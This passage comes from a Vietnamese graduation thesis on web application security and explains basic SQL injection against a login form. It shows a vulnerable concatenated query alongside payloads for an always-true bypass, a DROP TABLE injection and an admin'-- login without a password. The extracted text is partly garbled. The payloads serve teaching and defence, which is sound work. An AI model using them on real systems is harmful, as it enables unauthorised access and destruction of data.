Kĩ thuật tấn công SQL Injection

Một phần của tài liệu đồ án tốt nghiệp nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet (Trang 63 - 65)

Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form đăng nhập.

d ụ 6.III.1-1: giả sử ứng dụng web có đoạn mã sau:

SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”

flag= GetQueryResult (SQLQuery) if flag = “” then

check=FALSE else

end if

check=TRUE

Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false.

Giá tri nhập vào là:

Username: ’ OR ‘’=’ Password: ’ OR ‘’=’

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND

Password= ‘’ OR ‘’=’’

Câu lệnh so sánh trên luôn ln đúng (vì ‘’ ln bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn.

Kết hợp với kí tự đặc biệt của SQL :

• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

• kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dịng Ví d ụ 6.III.1-2:

Username: ’; drop table User-- Password:

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table

User-- AND Password= ‘” & tkPassword & “’”

Với câu lệnh trên thì bảng User sẽ bị xóa hồn tồn. Ví

d ụ 6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống như sau:

Username: admin’-- Password:

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Câu lệnh SQL như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND

Password= ‘” & tkPassword & “’”

Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà khơng địi hỏi password.

Một phần của tài liệu đồ án tốt nghiệp nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet (Trang 63 - 65)

Tải bản đầy đủ (DOCX)

(173 trang)
w